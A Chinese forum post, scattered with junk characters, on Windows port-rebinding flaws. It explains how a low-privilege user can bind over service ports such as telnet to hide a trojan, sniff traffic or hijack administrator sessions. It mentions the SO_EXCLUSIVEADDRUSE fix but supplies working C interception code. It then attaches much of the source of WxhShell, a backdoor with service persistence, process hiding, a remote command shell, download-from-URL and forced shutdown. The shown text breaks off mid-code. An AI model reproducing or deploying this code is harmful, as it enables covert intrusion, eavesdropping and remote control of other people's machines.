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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: GH+r ?2<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |2abmuR0  
QV {}K  
  saddr.sin_family = AF_INET; B?4boF?~  
xL{a  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >N]7IU[-  
95YL]3V  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %] >KvoA  
 /% M/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @^T1XX  
_~piZmkG$  
  这意味着什么?意味着可以进行如下的攻击: 5\e9@1Rc  
"tB;^jhRs  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  OU8Lldt  
Wzw7tLY._  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) rd9e \%A  
.u4 W /  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *.!Np9l,V  
Fxm$9(Y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1UE6 4Kl:S  
 #`o2Z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (+B5|_xQu  
5*1D$mxD"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B)qWtMZx  
Kac' ;1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ly:q6i  
n2oz"<?$S  
  #include K2J \awX  
  #include zxC#0@qX07  
  #include tD+9kf2  
  #include    |NpP2|4h  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Zg'Q>.:  
  int main() PK0%g$0  
  { ie2WL\tR4  
  WORD wVersionRequested; _i20|v   
  DWORD ret; X&7 F_#s  
  WSADATA wsaData; /+@p7FqlE  
  BOOL val; }Q=!Y>Tc  
  SOCKADDR_IN saddr; dvt9u9Vg=  
  SOCKADDR_IN scaddr; T3k#VNH  
  int err; vvKEv/pN7  
  SOCKET s; A1.7 O  
  SOCKET sc; zmSUw}-4 N  
  int caddsize; _Em.  
  HANDLE mt; ><gG8MH0'  
  DWORD tid;   pKit~A,Q  
  wVersionRequested = MAKEWORD( 2, 2 ); YgUvOyaQXf  
  err = WSAStartup( wVersionRequested, &wsaData ); 5 u*-L_  
  if ( err != 0 ) { Jo@|"cE=  
  printf("error!WSAStartup failed!\n"); no< ^f]33  
  return -1; OH">b6>\  
  } ?XA2&  
  saddr.sin_family = AF_INET; Z yE `/J'  
   [3{W^WSOz  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]Bjyi[#bg  
bdQ_?S(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); d` jjGEj  
  saddr.sin_port = htons(23); rvXWcu-"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K95p>E`9e  
  { X@K-^8  
  printf("error!socket failed!\n"); P!+'1KR  
  return -1; J6L  K  
  } ( 5tvfz%  
  val = TRUE; w*oQ["SL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9983aFam  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?e,pN,4  
  { @U3Vc|  
  printf("error!setsockopt failed!\n"); e^<#53!  
  return -1; 6^%68N1k  
  } dIRm q+d^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Qj.l:9%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 l}] t~!X=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5[* qi?w=  
S$Q8>u6Wk  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v?& -xH-S  
  { M;p em<  
  ret=GetLastError(); IHJ=i-  
  printf("error!bind failed!\n"); /J:bWr  
  return -1; BV>\ McI+  
  } $!8-? ?ML  
  listen(s,2); P DrZY.-  
  while(1) ,!7 H]4Qx  
  { 1e&QSzL  
  caddsize = sizeof(scaddr); h $L/<3oP6  
  //接受连接请求 ;uw Ryd  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]cGA~d  
  if(sc!=INVALID_SOCKET) |aT| l^2R@  
  { UG'9*(*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); rmE"rf  
  if(mt==NULL) RV5n,J  
  { uWM{JEOl  
  printf("Thread Creat Failed!\n"); 8;Yx<woR  
  break; { T-'t/0e(  
  } Gcig*5   
  } ~ ; -! n;  
  CloseHandle(mt); N1|$$9G+  
  } Z(Bp 0a  
  closesocket(s); ~[\_N\rm  
  WSACleanup(); V??dYB(  
  return 0; u"d~!j1  
  }   89wU-Aggq  
  DWORD WINAPI ClientThread(LPVOID lpParam) oE(7v7iY  
  { }MHCd)78b  
  SOCKET ss = (SOCKET)lpParam; L7V G`h;  
  SOCKET sc; WnGGo ' Z  
  unsigned char buf[4096]; +TQ47Z c  
  SOCKADDR_IN saddr; hA33K #bC  
  long num; *g[^.Sg  
  DWORD val; /Rg*~Ers *  
  DWORD ret; )w0AC"2O~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 p TeOW9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "87ghj_}  
  saddr.sin_family = AF_INET; q~*t@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V}SBuQp"  
  saddr.sin_port = htons(23); XI9js{p  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uwjGDw  
  { `kU/NKq  
  printf("error!socket failed!\n"); A` AaTP  
  return -1; Dg} Ka7H  
  } D,g1<:<  
  val = 100; nSkPM 5\TI  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %YSu8G_t  
  { C@bm  
  ret = GetLastError();  \o/n  
  return -1; uU:CR>=AKW  
  } CC@.MA@9N  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?_Q/}@`  
  { qt;y2gf=  
  ret = GetLastError(); Hrzf'a|^  
  return -1; >&p0d0  
  } 5JLu2P  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #:^YI c  
  { :@!ic<p  
  printf("error!socket connect failed!\n"); l?Fb ='#  
  closesocket(sc); @ )-$kk*  
  closesocket(ss); &d5ia+ #  
  return -1; <~n$1aA  
  } GF5^\Rf  
  while(1) E5N{j4\F  
  { QNxl/y\l0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $.GOZqMs  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;Hj~n+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bf!M#QOk?  
  num = recv(ss,buf,4096,0); )J NSZB  
  if(num>0) Ldl 5zc  
  send(sc,buf,num,0); NN1$'"@NL  
  else if(num==0) 6+KHQFb&N  
  break; X_g 3rv1J  
  num = recv(sc,buf,4096,0); I= .z+#Y  
  if(num>0) EoxQ */  
  send(ss,buf,num,0); e&qh9mlE  
  else if(num==0) kJ-*fe'S  
  break; aBw2f[mo  
  } cPU/t kc  
  closesocket(ss); rn=m\Gv e  
  closesocket(sc); 'qF#<1&  
  return 0 ; `A,g] 1C:  
  } NbGV1q']  
|R#"Th6mH!  
BYo/57&:  
========================================================== mUz\ra;z  
6^c>,.R  
下边附上一个代码,,WXhSHELL #~.w&~ :  
!Wy[).ZAf  
========================================================== zdEPDd B  
E)9yH\$6  
#include "stdafx.h" wlEo"BA  
`UQf2o0%3w  
#include <stdio.h> p mFk50`  
#include <string.h> %bD}m!  
#include <windows.h> 4|`Bq}sjZf  
#include <winsock2.h> P7x =  
#include <winsvc.h> H_ez'yy  
#include <urlmon.h> )"m!YuS Y  
l $jxLZ  
#pragma comment (lib, "Ws2_32.lib") r@o6voX  
#pragma comment (lib, "urlmon.lib") yG sz2T;w  
B-T/V-c7  
#define MAX_USER   100 // 最大客户端连接数 _"#!e{N|  
#define BUF_SOCK   200 // sock buffer n]u<!.X  
#define KEY_BUFF   255 // 输入 buffer \#>T~.Y7K  
/g$G_}  
#define REBOOT     0   // 重启 -#Z bR  
#define SHUTDOWN   1   // 关机 WzI8_uM  
fS"Hr0  
#define DEF_PORT   5000 // 监听端口 W5'3$,X9  
.]9c/  
#define REG_LEN     16   // 注册表键长度 1& '8Y  
#define SVC_LEN     80   // NT服务名长度 WMBm6?54  
`r_m+]  
// 从dll定义API ( &frUQm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  =Mb1o[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (}5S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /De^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4j!]:ra  
XK5<Tg  
// wxhshell配置信息 6Kj'Zy VL  
struct WSCFG { rX;Ys2vQ*  
  int ws_port;         // 监听端口 03iv3/{H  
  char ws_passstr[REG_LEN]; // 口令 Z xb_K  
  int ws_autoins;       // 安装标记, 1=yes 0=no F5 ]C{  
  char ws_regname[REG_LEN]; // 注册表键名 Z-B%'/.  
  char ws_svcname[REG_LEN]; // 服务名 v*qQ? S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <uc1D/~^:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2EK%N'H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $ A9%UhV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f(eQ+0D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pMJ1v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V&|!RxWK  
rJo"fx  
}; /2m?15c+  
Hku!bJ  
// default Wxhshell configuration fbkd"7u  
struct WSCFG wscfg={DEF_PORT, thqS*I'#g  
    "xuhuanlingzhe", NKmoG\*  
    1, &l?+3$q  
    "Wxhshell", B<~U3b  
    "Wxhshell", DS -fjH\  
            "WxhShell Service", P\&! ]  
    "Wrsky Windows CmdShell Service", KHDZ  
    "Please Input Your Password: ", 8p!*?RRme[  
  1, Dr9 ?2  
  "http://www.wrsky.com/wxhshell.exe", tdF9NFMD  
  "Wxhshell.exe" A~dQ\M  
    }; L}yyaM)  
/n4pXT  
// 消息定义模块 o|j*t7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IjfxR mV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $j 5,%\4<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "aF8l<1xn  
char *msg_ws_ext="\n\rExit."; cM_ Fp  
char *msg_ws_end="\n\rQuit."; S',9g4(5  
char *msg_ws_boot="\n\rReboot..."; K"V:<a  
char *msg_ws_poff="\n\rShutdown..."; aRc'  
char *msg_ws_down="\n\rSave to "; )){xlFA}  
sIl33kmv  
char *msg_ws_err="\n\rErr!"; |Cdvfk  
char *msg_ws_ok="\n\rOK!"; Kwhdu<6  
{R^'=(YFy  
char ExeFile[MAX_PATH]; sgr=w+",Q  
int nUser = 0; %ObD2)s6:^  
HANDLE handles[MAX_USER]; 3[XQR8o  
int OsIsNt; [Lp,Hqi5  
Oc&),ru2l  
SERVICE_STATUS       serviceStatus; %Z8vdU#l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M]-VHI[&W  
K{l5m{:%  
// 函数声明 S }>n1F_  
int Install(void); cMzkL%  
int Uninstall(void); M/*NM= -a  
int DownloadFile(char *sURL, SOCKET wsh); ^<0IB#dA  
int Boot(int flag); b%t+,0s|  
void HideProc(void); u7;~  
int GetOsVer(void); ba3-t;S  
int Wxhshell(SOCKET wsl); L z\UZeq  
void TalkWithClient(void *cs); L;QY<b  
int CmdShell(SOCKET sock); wVq\FY%  
int StartFromService(void); GPWr>B.{:S  
int StartWxhshell(LPSTR lpCmdLine); 'ho{eR@d  
g8'DoHJ*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M3zDtN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |8)Xc=Hz  
I|/'Ds:  
// 数据结构和表定义 Be}$I_95\P  
SERVICE_TABLE_ENTRY DispatchTable[] = 8#` 6M5  
{ E:nt)Ef,  
{wscfg.ws_svcname, NTServiceMain}, 1zktU.SZ  
{NULL, NULL} A{<xc[w;p  
}; =raA?Bp3;(  
9B)(>~q  
// 自我安装 @gSkROCdC)  
int Install(void) {[(pWd%J  
{ X;!D};;M  
  char svExeFile[MAX_PATH]; X-B8MoG|  
  HKEY key; nB5Am^bP  
  strcpy(svExeFile,ExeFile); H0*5_OJ!i  
x "(9II*  
// 如果是win9x系统,修改注册表设为自启动 T ^JuZG  
if(!OsIsNt) { FXo2Y]K3`L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5% nt0dc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 50a\e  
  RegCloseKey(key); 7?)/>lx\>$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NfE.N&vI_c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D{'#er  
  RegCloseKey(key); &HM-g7|C0E  
  return 0; B(l-}|m_  
    } Oe1 t\  
  } tL0`Rvl  
} ["3df>!f  
else { Poa?Ej  
&C-;Sa4  
// 如果是NT以上系统,安装为系统服务 Q1>zg,r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <E':[.zC  
if (schSCManager!=0) _ ^7|!(Sz  
{ Wn!G.(Jq  
  SC_HANDLE schService = CreateService sa1mC  
  ( v@G4G*x\  
  schSCManager, | W#~F&{]  
  wscfg.ws_svcname, 30FykNh  
  wscfg.ws_svcdisp, ~_!ts{[E  
  SERVICE_ALL_ACCESS, Xz;b,C&*t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .F0]6#(  
  SERVICE_AUTO_START, #B\=Aa`*  
  SERVICE_ERROR_NORMAL, JatHSW7j9  
  svExeFile, fo\\o4Qyh  
  NULL, c!&Qj  
  NULL, s0{ NsK>  
  NULL, !W1eUY  
  NULL, GH'O! }  
  NULL {TZE/A3D,  
  ); N_C_O$j  
  if (schService!=0) <?$kI>Ot  
  { H?}wl%  
  CloseServiceHandle(schService); -Gsl[Rc0H;  
  CloseServiceHandle(schSCManager); j"<Y!Y3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NMjnL&P`  
  strcat(svExeFile,wscfg.ws_svcname); 0 15Owi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jeDlH6X'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =sQ(iso%f  
  RegCloseKey(key);  ~q%  
  return 0; *kaJ*Ti-/  
    } %OI4a5V*l  
  } BV9*s  
  CloseServiceHandle(schSCManager); qtSs)n  
} 9y"TDo  
} MWq$AK]  
Vdvx"s[`m  
return 1; w)S;J,Hv  
} /BzA(Ic/  
(Cj,\r  
// 自我卸载 6MrKi|'X@  
int Uninstall(void) sT<{SmBF  
{ E_[ONm=,  
  HKEY key; R @r{  
g'G8 3F  
if(!OsIsNt) { 3kLOoL?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { - s|t^  
  RegDeleteValue(key,wscfg.ws_regname); ~eo^`4O{{  
  RegCloseKey(key); @ t@|q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >rwYDT#m]  
  RegDeleteValue(key,wscfg.ws_regname); Js}tZ\+P75  
  RegCloseKey(key); 0|2%#  E  
  return 0; + x_ wYv  
  } y'rN5J:l  
} L_*L`!vQA"  
}  nhfwOS  
else { F7 uhuqA]N  
+)-d_K.(k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -Uf4v6A  
if (schSCManager!=0) Tcs3>lJ}   
{ /8p&Qf>lJ1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f-vK}'Z`,  
  if (schService!=0) 1PU*:58[  
  { C MqM;1  
  if(DeleteService(schService)!=0) { }Z6nN)[|0Y  
  CloseServiceHandle(schService); , ;'SVe%  
  CloseServiceHandle(schSCManager); ct\<;I(H  
  return 0; 0=m&^Jpp  
  } fI[dhd6  
  CloseServiceHandle(schService); A*Q[k 9B  
  } -HTL5  
  CloseServiceHandle(schSCManager); zjoo{IH}  
} ,#%SK;1<  
} 9}whWh  
&5/JfNe3  
return 1; wU0K3qZL  
} Ak|b0l>^  
UQdyv(jXq  
// 从指定url下载文件 Bi_J5 If  
int DownloadFile(char *sURL, SOCKET wsh) 9&(.x8d,a  
{ 3^H/LWx`{]  
  HRESULT hr; ,%='>A  
char seps[]= "/"; #! @m y  
char *token; N K"%DU<  
char *file; [Ye5Y?  
char myURL[MAX_PATH]; ~D!ESe*=  
char myFILE[MAX_PATH]; 8Xk Ik7  
Qy%xL9  
strcpy(myURL,sURL); *08+\ed"#  
  token=strtok(myURL,seps); ./!KE"!  
  while(token!=NULL) ^=#!D[xj>  
  { q/J3cXa{K  
    file=token; (v|`LmV  
  token=strtok(NULL,seps);  f }-v  
  } "sIN86pCs  
ypT9 8  
GetCurrentDirectory(MAX_PATH,myFILE); &O{t^D)F  
strcat(myFILE, "\\"); d:3= 1x  
strcat(myFILE, file); <|dj^.^  
  send(wsh,myFILE,strlen(myFILE),0); J<-Fua^  
send(wsh,"...",3,0); WV~SL/k|   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HtS#_y%(  
  if(hr==S_OK) M[vCpa  
return 0; _pW 'n=}R  
else @_uFX!;  
return 1; }Y$VB%&Hy  
W#Cq6N  
} }amE6  
*hl<Y,W(  
// 系统电源模块 =KW|#]RB^  
int Boot(int flag) k^yy$^=<  
{ tpz=} q  
  HANDLE hToken; -sD:+Te  
  TOKEN_PRIVILEGES tkp; !z.^(Tj  
xF^r`  
  if(OsIsNt) { wISzT^RS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }(rzH}X@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j~Ff/ O  
    tkp.PrivilegeCount = 1; tpd|y|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '&{(:,!B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  z8tt+AU  
if(flag==REBOOT) { wtUG^hV #_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QJ6f EV$~  
  return 0; =/f74s t  
} MSF Nw  
else { /^8t'Jjd,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0Mq6yu^  
  return 0; 0YHYxn  
} 3 dY6;/s  
  } p\)h",RkA  
  else { @nW'(x(  
if(flag==REBOOT) { L7[X|zmy*x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E'fX&[  
  return 0; @)06\ h  
} Q,O]x#  
else { <6gU2@1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q w"e0q%)  
  return 0; G+;g:_E=  
} @D2`*C9  
} <,#rtVO$  
5@""_n&FV  
return 1; d?E4[7<t$1  
} EywZIw?mjX  
rHR5,N:  
// win9x进程隐藏模块 CcbWW4 )  
void HideProc(void) !/[AQ{**T!  
{ .Pqj6Ko9  
Iy-u`S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :r[W'h_%  
  if ( hKernel != NULL ) #0xm3rFy4  
  { w2s,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jWz|K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ab/v_ mA;  
    FreeLibrary(hKernel); C}|O#"t^\  
  } I(F1S,7  
L'zdsa}Et  
return; QZ_nQ3K  
} )bF)RL Z  
if\k[O 1T6  
// 获取操作系统版本 &Qz"nCvJ  
int GetOsVer(void) 48W:4B'l9  
{ _zAc 5rS  
  OSVERSIONINFO winfo; Uia)5zz8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t^dakL  
  GetVersionEx(&winfo); &fh.w]\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K1CMLX]m  
  return 1; sz){uOI  
  else q|m#IVc  
  return 0; eo-XqiJ,]  
} z2$F Yn Q  
zkw0jX~  
// 客户端句柄模块 tVK?VNW  
int Wxhshell(SOCKET wsl) qM+!f2t  
{ `V$cz88b  
  SOCKET wsh; *NKC \aV`0  
  struct sockaddr_in client; Y>c5:F;  
  DWORD myID; .f[\G*   
h?M'7Lti  
  while(nUser<MAX_USER) :z}~U3,JE  
{ j>0SE  
  int nSize=sizeof(client); DRS;lJ2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KHiYV  
  if(wsh==INVALID_SOCKET) return 1; L8%=k%H(1  
ant-\w> }  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D<$j`r  
if(handles[nUser]==0) +K @J*W 1  
  closesocket(wsh); E}E7VQjM  
else !dYX2!lvT  
  nUser++; p2M?pV  
  } ?3e!A9x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \Mh4X`<e  
*&~sr  
  return 0; Bil;@,Z#  
} M]pel\{M  
X,Q 6  
// 关闭 socket |i jW_r  
void CloseIt(SOCKET wsh) _r^G%Mvy|  
{ ]ys4  
closesocket(wsh); RJ7/I/yD|  
nUser--; rmAP&Gw I  
ExitThread(0); 1L(Nfkh  
} bTI&#Hu  
zYNM<W;  
// 客户端请求句柄 ` Mv5!H5l  
void TalkWithClient(void *cs) -+Awm{X_@  
{ j/; @P  
pU\xzLD  
  SOCKET wsh=(SOCKET)cs; zS>:7eG  
  char pwd[SVC_LEN]; xw/h~:NT  
  char cmd[KEY_BUFF]; UOOR0$4  
char chr[1]; +5seT}h  
int i,j; MWp\D#H  
*U5> j#,  
  while (nUser < MAX_USER) { p3'mJ3MA  
&' oacV=  
if(wscfg.ws_passstr) { 5Rt0h$_J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1f bFNxo8M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~]D \&D9=?  
  //ZeroMemory(pwd,KEY_BUFF); #RZJ1uL  
      i=0; aL$c).hq0  
  while(i<SVC_LEN) { UC<[z#]\;  
FK/ro91L  
  // 设置超时 9x 6ca  
  fd_set FdRead; Xk7$?8r4&  
  struct timeval TimeOut; 1&>nL`E[3  
  FD_ZERO(&FdRead); ~6Ee=NaLzP  
  FD_SET(wsh,&FdRead); S]e~)I gO  
  TimeOut.tv_sec=8; +A&IxsTq5=  
  TimeOut.tv_usec=0; 8[{0X4y3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %i JU)N!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [b\lcQ8O  
hr 6LB&d_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); It,n +A  
  pwd=chr[0]; T(fR/~:z?  
  if(chr[0]==0xd || chr[0]==0xa) { PSrt/y!  
  pwd=0; %V" +}Dr  
  break; h-)A?%Xt  
  } J 6d n~nPK  
  i++; @a7(*<".  
    } K:Xrfn{s  
x4 A TK  
  // 如果是非法用户,关闭 socket yz&q2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %<#$:Qb.  
} 1x<rh\oo  
=.=. \K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \]d*h]Hms  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b~jvmcr  
Rc m(Y7  
while(1) { h-v &I>  
|jCE9Ve#  
  ZeroMemory(cmd,KEY_BUFF); 2w.9Q (Sn  
y^+[eT&  
      // 自动支持客户端 telnet标准   7 +W?Qo  
  j=0; 9@&Z`b_  
  while(j<KEY_BUFF) { 1Qc(<gM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QW"6]  
  cmd[j]=chr[0]; e|+;j}^C  
  if(chr[0]==0xa || chr[0]==0xd) { ,LW%'tQ~"  
  cmd[j]=0; K5c7>I%k  
  break; 4Hd@U&E  
  } T`2fPxM:cZ  
  j++; PXQ9P<m  
    } uB)6\fkTB  
.f!eRV.&  
  // 下载文件 RU ,N_GV   
  if(strstr(cmd,"http://")) { bz,cfc;?$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !`S%l1[Z  
  if(DownloadFile(cmd,wsh)) #5"<.z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); keq[ 6Lv  
  else  f"=4,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =)UiI3xHk  
  } XU })3]/  
  else { TH}ycue  
YKS'#F2  
    switch(cmd[0]) { $Q7E#  
  QbKYB  
  // 帮助 aw@Aoq  
  case '?': { 'krMVC-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); an5kR_=  
    break; ,/?V+3l  
  } aFm]?75  
  // 安装 d4eCBqx  
  case 'i': { rL+n$p X-  
    if(Install()) n^(yW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gm8Tm$fY  
    else  $.]t1e7s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,,j=RG_  
    break; D/6@bcCSY  
    } s^X/ Om  
  // 卸载  DlkKQ  
  case 'r': { .aH?H]^  
    if(Uninstall()) }Knq9cf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *B~:L"N  
    else v{*X@)$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _G*x:<  
    break; 3g "xm  
    } - 5Wt9  
  // 显示 wxhshell 所在路径 }8]uZ)[p=  
  case 'p': { .A[.?7g  
    char svExeFile[MAX_PATH]; ,* vnt6C*  
    strcpy(svExeFile,"\n\r"); (cew:z H  
      strcat(svExeFile,ExeFile); Q7aDl8Lxn  
        send(wsh,svExeFile,strlen(svExeFile),0); %v)'`|i  
    break; M&T/vByTn_  
    } !P^$g R  
  // 重启 1? hd  
  case 'b': { qJzK8eW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v})Ti190  
    if(Boot(REBOOT)) -&$%m)wN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R;,HtN  
    else { K?m:.ZM  
    closesocket(wsh); kb\v}gfiD/  
    ExitThread(0); |.8=gS5  
    } dw}3B8]  
    break; |]3);^0  
    } -6Si  
  // 关机 j/ IZm)\  
  case 'd': { @Lv_\^2/}  
